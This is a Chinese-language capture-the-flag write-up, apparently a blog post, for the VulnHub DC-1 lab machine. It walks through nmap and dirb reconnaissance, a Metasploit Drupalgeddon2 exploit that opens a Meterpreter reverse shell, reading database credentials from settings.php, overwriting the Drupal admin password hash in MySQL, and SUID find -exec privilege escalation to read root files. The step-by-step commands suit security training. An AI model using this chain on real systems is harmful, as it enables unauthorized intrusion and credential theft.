靶机DC-1

文章讲述了在DC-1靶机上进行环境搭建,通过信息收集和漏洞检测发现Drupal7系统漏洞,利用geddon2漏洞获取Meterpretershell,进一步通过配置文件和数据库操作获取权限,最终实现提权和找到所有flag的过程。

环境搭建

DC-1靶机 下载地址:https://www.vulnhub.com/

kali 下载地址:https://www.kali.org/

将两台虚拟机都设置为nat模式

信息收集

  1. 扫描靶机ip

    nmap 192.168.117.0/24
    

在这里插入图片描述

  1. 对靶机进行详细扫描

    nmap -A 192.168.117.144 -p-
    

在这里插入图片描述

  1. 开放80端口,用浏览器访问

在这里插入图片描述

  1. 使用wappalyzer插件,可以看到靶机系统为Drupal 7,网站可能存在漏洞

在这里插入图片描述

  1. 尝试注册用户,注册失败

在这里插入图片描述

  1. 扫描敏感目录,发现都没什么用
  dirb http://192.168.117.144

在这里插入图片描述

漏洞检测

  1. 进入msf工具,查找系统漏洞

    msfconsole
    //进入msf工具
    
    search Drupa
    //查找Drupa系统的漏洞
    

在这里插入图片描述

  1. 经过尝试,发现只有geddon2漏洞可以利用,查看并选择payload,选择meterpreter目录下的reverse_tcp服务

    use 1
    //使用第一个漏洞
    
    show payloads
    //查看payloads
    
    set payload php/meterpreter/reverse_tcp
    //选择tcp服务
    

在这里插入图片描述

在这里插入图片描述

  1. 查看是否有需要手工设置的选项

    show options
    

在这里插入图片描述

  1. 其中required显示为yes表示需要我们手动设置,从描述看出,rhosts最有可能需要我们设置,设置完ip地址后运行

    set rhosts 192.168.117.144
    
    run
    

在这里插入图片描述

  1. 可以看到我们获得了meterpreter的shell,表明我们成功入侵了该靶机,并且可以看到攻击机和被攻击机的ip

漏洞利用

  1. 查看靶机文件,发现第一个flag

    ls
    //查看当前目录下文件
    
    cat flag1.txt
    

在这里插入图片描述

在这里插入图片描述

  1. 第一个flag意思是“每个好的CMS都需要一个配置文件 - 你也是。”提示需要查找cms的配置文件,此时有两种方法

    1. 在该目录下遍历所有的子目录及文件,查找所有配置文件,发现在/sites/default下存在setting.php文件

    2. 开启一个shell,使用find命令查找包含set的文件

      shell
      
      python -c "import pty;pty.spawn('/bin/bash')"
      
      find ./ -name "set*"
      
  2. 查看配置文件

    cat ./sites/default/settings.php
    

在这里插入图片描述

  1. 得到第二个flag,意思是“暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。 您可以使用这些凭据做什么?”得到数据库的用户名和密码,就想办法进入mysql

  2. 打开shell,进入交互模式(如果第二步进入则无需再次进入)

    shell
    
    python -c "import pty;pty.spawn('/bin/bash')"
    

在这里插入图片描述

  1. 登录mysql

    mysql -udbuser -pR0ck3t
    

在这里插入图片描述

  1. 查看数据库信息,查找是否有user表

    show databases;
    
    use drupaldb;
    
    show tables;
    

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 发现其中有users表,查看用户信息

    select * from users;
    

在这里插入图片描述

  1. users表中密码被加密,哈希密码是单向不可逆的,很难被解密软件爆破,因此采用替换的方法,找到靶机的加密算法,将我们自己设定的密码转换为哈希密文,并替换users表中的密码

  2. 查百度发现drupal默认使用passwd_hash.sh生成密码,查找该文件

    find ./ -name "*hash*"
    

在这里插入图片描述

  1. 查看这个hash文件,确认是否是需要的文件

    cat ./scripts/password-hash.sh
    

在这里插入图片描述

  1. 生成密码为dc1的哈希值

    php ./scripts/password-hash.sh dc1
    

在这里插入图片描述

  1. 登录数据库,进行替换

    mysql -udbuser -pR0ck3t
    
    update drupaldb.users set pass="$S$DVftcmOmxR/.9z3nr04ywKkGVHKdIbhVItV5Ruk5u9BUuHk3Aq82" where name="admin";
    

在这里插入图片描述

  1. 使用admin登录,密码为dc1

在这里插入图片描述

  1. 找寻有用的信息,在Dashboard中发现第三个flag

在这里插入图片描述

在这里插入图片描述

  1. 第三个flag意思是“特殊的权限将帮助找到密码 - 但您需要执行一些命令来弄清楚如何获隐藏内容。”提示为:提权,passwd文件、shadow文件

  2. 退出mysql,尝试查看passwd文件是否存在

    cat /etc/passwd
    

在这里插入图片描述

  1. 发现第四个flag的路径,进入此路径查看flag4

    cat /home/flag4/flag4.txt
    

在这里插入图片描述

提权

  1. 第四个flag意思是“您可以使用相同的方法来查找或访问 root 中的flag吗?可能。但也许这并不容易。 或者也许是?”提示另一个flag在root里,需要提权,尝试查找flag文件

    find / -name "*flag*"
    

在这里插入图片描述

  1. 最后一个flag在root中,使用提示中的find -perm命令进行提权

    find / -perm -u=s -type f 2>/dev/null
    
    //-perm 按照权限查找
      -u=s  拥有者是s权限
      -type 查找,f文件、d目录、c字符设备
      2>/dev/null 将标准错误stderr删掉
    

在这里插入图片描述

  1. 查找出有root权限的目录,发现/usr/bin/find是root权限

  2. 创建一个文件dc-1,测试-exec后的命令是否能执行

    touch dc-1
    
    find dc-1 -exec whoami \;
    

在这里插入图片描述

  1. 确认find拥有root权限,并且-exec后的命令可以以root权限执行,打开最后一个flag

    find dc-1 -exec cat /root/thefinalflag.txt \;
    

在这里插入图片描述

  1. 最后一个flag意思是“干的好!!!!希望您喜欢这个并学到了一些新技能。”
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cwangc000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值